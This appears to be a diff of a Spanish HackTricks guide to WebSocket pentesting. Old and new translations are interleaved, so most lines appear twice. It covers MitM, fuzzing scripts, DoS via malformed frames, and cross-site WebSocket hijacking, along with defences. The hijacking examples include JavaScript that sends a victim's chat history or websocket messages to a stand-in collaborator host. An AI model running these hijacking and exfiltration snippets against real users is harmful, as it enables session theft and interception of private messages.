Estas características aseguran que el proceso de handshake sea seguro y fiable, allanando el camino para una comunicación en tiempo real eficiente.
### Consola de Linux
Puedes usar `websocat` para establecer una conexión en bruto con un websocket.
Puedes usar `websocat` para establecer una conexión raw con un WebSocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
@ -56,58 +56,175 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### Conexiones websocket MitM
Si encuentras que los clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente esté intentando conectarse, puedes usar:
Si detectas que clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente intente conectarse a ti, puedes usar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Enumeración de Websockets
### Enumeración de websockets
Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar** **vulnerabilidades** **conocidas** en websockets automáticamente.
Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, fingerprint y buscar vulnerabilidades conocidas en websockets automáticamente.**
### Herramientas de depuración de Websocket
- **Burp Suite** soporta la comunicación de websockets MitM de manera muy similar a como lo hace para la comunicación HTTP regular.
- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websocket** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.
- [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs usando **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs usando **websockets.**
- **Burp Suite** soporta comunicaciones websockets MitM de una manera muy similar a como lo hace con la comunicación HTTP regular.
- La [**socketsleuth**](https://github.com/snyk/socketsleuth) **extensión de Burp Suite** te permitirá gestionar mejor las comunicaciones Websocket en Burp obteniendo el **history**, estableciendo **interception rules**, usando reglas de **match and replace**, usando **Intruder** y **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capture, intercept, send custom** messages y ver todas las comunicaciones WebSocket y Socket.IO entre el cliente y el servidor.
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **interactive websocket REPL** diseñado específicamente para penetration testing. Proporciona una interfaz para observar **incoming websocket messages and sending new ones**, con un framework fácil de usar para **automating** esta comunicación.
- [**https://websocketking.com/**](https://websocketking.com/) es un **sitio web para comunicarse** con otros sitios usando **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona un **sitio web para comunicarse** con otros sitios usando **websockets.**
## Desencriptando Websocket
## Descifrado de Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Laboratorio de Websocket
## Laboratorio Websocket
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes código para lanzar un sitio web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
## Fuzzing de Websocket
La extensión de burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ahora permite también fuzzing de mensajes de WebSocket. Puedes leer más información sobre esto [**aquí**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
La extensión de Burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ahora permite fuzzing también de mensajes WebSocket. Puedes leer más información sobre esto [**aquí**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
## Secuestro de WebSocket entre sitios (CSWSH)
### WebSocket Turbo Intruder (extensión de Burp)
El **secuestro de WebSocket entre sitios**, también conocido como **secuestro de WebSocket de origen cruzado**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** o medidas de seguridad similares.
WebSocket Turbo Intruder de PortSwigger aporta scripting en Python al estilo Turbo Intruder y fuzzing de alta tasa para WebSockets. Instálalo desde la BApp Store o desde la fuente. Incluye dos componentes:
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión de la víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
- Turbo Intruder: mensajería de alto volumen a un único endpoint WS usando motores personalizados.
- HTTP Middleware: expone un endpoint HTTP local que reenvía bodies como mensajes WS sobre una conexión persistente, para que cualquier scanner basado en HTTP pueda sondear backends WS.
Para que este ataque funcione, estos son los requisitos:
Patrón básico de script para fuzzing de un endpoint WS y filtrar respuestas relevantes:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
- La **autenticación de websocket debe basarse en cookies**
- La cookie debe ser accesible desde el servidor del atacante (esto generalmente significa **`SameSite=None`**) y no debe tener **Protección Total de Cookies de Firefox** habilitada en Firefox y no debe haber **cookies de terceros bloqueadas** en Chrome.
- El servidor de websocket no debe verificar el origen de la conexión (o esto debe ser eludible)
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Usa decoradores como `@MatchRegex(...)` para reducir el ruido cuando un solo mensaje provoca múltiples respuestas.
### Puente WS detrás de HTTP (HTTP Middleware)
Envuelve una conexión WS persistente y reenvía los cuerpos HTTP como mensajes WS para pruebas automatizadas con escáneres HTTP:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Luego envía HTTP localmente; el body se reenvía como el mensaje WS:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
Esto te permite controlar backends WS mientras filtras eventos “interesantes” (p. ej., errores de SQLi, auth bypass, comportamiento de command injection).
### Socket.IO handling (handshake, heartbeats, events)
Socket.IO añade su propia encapsulación sobre WS. Detéctalo mediante el parámetro de consulta obligatorio `EIO` (p. ej., `EIO=4`). Mantén la sesión viva con Ping (`2`) y Pong (`3`) y comienza la conversación con `"40"`, luego emite eventos como `42["message","hello"]`.
Ejemplo de Intruder:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Variante de adaptador HTTP:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Detectando prototype pollution del lado del servidor mediante Socket.IO
Siguiendo la técnica de detección segura de PortSwigger, intenta contaminar los internals de Express enviando un payload como:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
Si los saludos o el comportamiento cambian (p. ej., echo incluye "Polluted"), probablemente causaste prototype pollution en el servidor. El impacto depende de los sinks alcanzables; correlaciónalo con los gadgets en la sección de Node.js prototype pollution. Ver:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
El engine por defecto agrupa mensajes en una sola conexión (alto throughput, malo para condiciones de carrera). Usa el engine THREADED para abrir múltiples conexiones WS y disparar payloads en paralelo para provocar race logic (doublespend, token reuse, state desync). Empieza desde el script de ejemplo y ajusta la concurrencia en `config()`.
- Aprende la metodología y alternativas en [Race Condition](race-condition.md) (ver “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
Crea frames WS cuyo header declara una longitud de payload enorme pero no envía cuerpo. Algunos servidores WS confían en la longitud y preasignan buffers; ajustarla cerca de `Integer.MAX_VALUE` puede causar OutOfMemory y un DoS remoto sin autenticación. Ver el script de ejemplo.
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Habilita el WS Logger para capturar y correlacionar mensajes usando IDs internos.
- Usa los helpers `inc*`/`dec*` sobre `Connection` para ajustar el manejo de IDs de mensaje en adapters complejos.
- Decorators como `@PingPong`/`@Pong` y helpers como `isInteresting()` reducen el ruido y mantienen las sesiones vivas.
### Operational safety
El fuzzing WS a alta tasa puede abrir muchas conexiones y enviar miles de mensajes por segundo. Frames malformados y tasas altas pueden provocar DoS real. Úsalo solo donde esté permitido.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, también conocido como **cross-origin WebSocket hijacking**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente mediante **HTTP cookies** sin **CSRF tokens** u otras medidas de seguridad similares.
Los atacantes pueden explotarla hospedando una **página web maliciosa** que inicia una conexión WebSocket cross-site hacia la aplicación vulnerable. Como consecuencia, esa conexión se trata como parte de la sesión de la víctima con la aplicación, explotando la falta de protección CSRF en el manejo de sesiones.
Para que este ataque funcione, se requieren:
- La autenticación del websocket **debe basarse en cookies**
- La cookie debe ser accesible desde el servidor del atacante (esto suele implicar **`SameSite=None`**) y no debe estar habilitado **Firefox Total Cookie Protection** en Firefox ni tener **third-party cookies bloqueadas** en Chrome.
- El servidor websocket no debe verificar el origin de la conexión (o esto debe ser evadible)
Además:
- Si la autenticación se basa en una conexión local (a localhost o a una red local), el ataque **será posible** ya que ninguna protección actual lo prohíbe (consulta [más información aquí](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
- Si la autenticación se basa en una conexión local (a localhost o a una red local) el ataque **será posible** ya que no existe una protección actual que lo impida (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Ataque Simple
### Simple Attack
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** es **enviada** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
Ten en cuenta que al **establecer** una **websocket** conexión la **cookie** se **envía** al servidor. El **servidor** podría usarla para **relacionar** a cada **usuario** específico con su **sesión websocket** basada en la cookie enviada.
Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
Entonces, si por **ejemplo** el **servidor websocket** **devuelve el historial de la conversación** de un usuario si se envía un msg con "**READY**", entonces un **simple XSS** que establezca la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### Cross Origin + Cookie con un subdominio diferente
En esta publicación del blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**.
En este blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **execute arbitrary Javascript in a subdomain** del dominio donde se estaba produciendo la comunicación del web socket. Como era un **subdomain**, la **cookie** se estaba **sent**, y debido a que el **Websocket didn't check the Origin properly**, fue posible comunicarse con él y **steal tokens from it**.
### Robando datos del usuario
### Robar datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket añade este código:
Copia la aplicación web que quieras suplantar (los archivos .html, por ejemplo) y dentro del script donde se está realizando la comunicación websocket añade este código:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
@ -148,34 +265,35 @@ xhttp.send()
return messageEvent
}
```
Ahora descarga el archivo `wsHook.js` de [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través de websocket:
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Al exponer la aplicación web y hacer que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos vía websocket:
```javascript
sudo python3 -m http.server 80
```
### Protecciones CSWSH
El ataque CSWSH se basa en el hecho de que un **usuario se conectará a una página maliciosa** que **abrirá una conexión websocket** a una página web donde el usuario ya está conectado y se autentificará como él, ya que la solicitud enviará las cookies del usuario.
El ataque CSWSH se basa en que un **usuario se conectará a una página maliciosa** que **abrirá una conexión websocket** a una página web a la que el usuario ya está conectado y se autenticará como él, ya que la petición enviará las cookies del usuario.
Hoy en día, es muy fácil prevenir este problema:
- **Verificación del origen por el servidor websocket**: El servidor websocket siempre debe verificar desde dónde se está conectando un usuario para evitar que páginas inesperadas se conecten a él.
- **Token de autenticación**: En lugar de basar la autenticación en una cookie, la conexión websocket podría basarse en un token que es generado por el servidor para el usuario desconocido para el atacante (como un token anti-CSRF).
- **Atributo de cookie SameSite**: Las cookies con el valor `SameSite` como `Lax` o `Strict` no se enviarán desde una página de atacantes externa al servidor de la víctima, por lo tanto, la autenticación basada en cookies no será exitosa. Tenga en cuenta que Chrome ahora establece el valor **`Lax`** en las cookies sin este flag especificado, haciendo esto más seguro por defecto. Sin embargo, los primeros 2 minutos después de que se crea una cookie, tendrá el valor **`None`**, haciéndola vulnerable durante ese período limitado de tiempo (también se espera que esta medida se elimine en algún momento).
- **Protección Total de Cookies en Firefox**: La Protección Total de Cookies funciona aislando las cookies al sitio en el que se crean. Esencialmente, cada sitio tiene su propia partición de almacenamiento de cookies para evitar que terceros vinculen el historial de navegación de un usuario. Esto hace que **CSWSH sea inutilizable**, ya que el sitio del atacante no tendrá acceso a las cookies.
- **Bloqueo de cookies de terceros en Chrome**: Esto también podría prevenir el envío de la cookie del usuario autenticado al servidor websocket incluso con `SameSite=None`.
- **Websocket server checking the origin**: El servidor websocket debería siempre comprobar desde dónde se conecta un usuario para evitar que páginas inesperadas se conecten a él.
- **Authentication token**: En lugar de basar la autenticación en una cookie, la conexión websocket podría basarse en un token que sea generado por el servidor para el usuario y desconocido para el atacante (como un anti-CSRF token).
- **SameSite Cookie attribute**: Las cookies con el valor `SameSite` como `Lax` o `Strict` no se enviarán desde una página atacante externa al servidor víctima; por lo tanto, la autenticación basada en cookies no tendrá éxito. Ten en cuenta que Chrome ahora asigna el valor **`Lax`** a las cookies sin esta flag especificada, haciendo esto más seguro por defecto. Sin embargo, durante los primeros 2 minutos tras crear la cookie tendrá el valor **`None`**, lo que la hace vulnerable durante ese período limitado de tiempo (también se espera que esta medida sea eliminada en algún momento).
- **Firefox Total Cookie Protection**: Total Cookie Protection funciona aislando las cookies al sitio en el que se crean. Esencialmente, cada sitio tiene su propia partición de almacenamiento de cookies para evitar que terceros vinculen el historial de navegación de un usuario. Esto hace que **CSWSH sea inutilizable**, ya que el sitio del atacante no tendrá acceso a las cookies.
- **Chrome third-party cookies block**: Esto también podría evitar el envío de la cookie del usuario autenticado al servidor websocket incluso con `SameSite=None`.
## Condiciones de Carrera
## Condiciones de carrera
Las Condiciones de Carrera en WebSockets también son un problema, [ver esta información para aprender más](race-condition.md#rc-in-websockets).
Las condiciones de carrera en WebSockets también existen, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
## Otras vulnerabilidades
Dado que los Web Sockets son un mecanismo para **enviar datos al lado del servidor y al lado del cliente**, dependiendo de cómo el servidor y el cliente manejan la información, **los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.**
Como Web Sockets son un mecanismo para **enviar datos al servidor y al cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los Web Sockets pueden utilizarse para explotar otras vulnerabilidades como XSS, SQLi u otras vulnerabilidades web comunes usando la entrada de un usuario desde un websocket.**
## **Smuggling de WebSocket**
## **WebSocket Smuggling**
Esta vulnerabilidad podría permitirte **eludir las restricciones de reverse proxies** haciéndoles creer que se **estableció una comunicación websocket** (aunque no sea cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información consulta la siguiente página:
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información, consulta la siguiente página:
{{#ref}}
h2c-smuggling.md
@ -185,5 +303,13 @@ h2c-smuggling.md
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}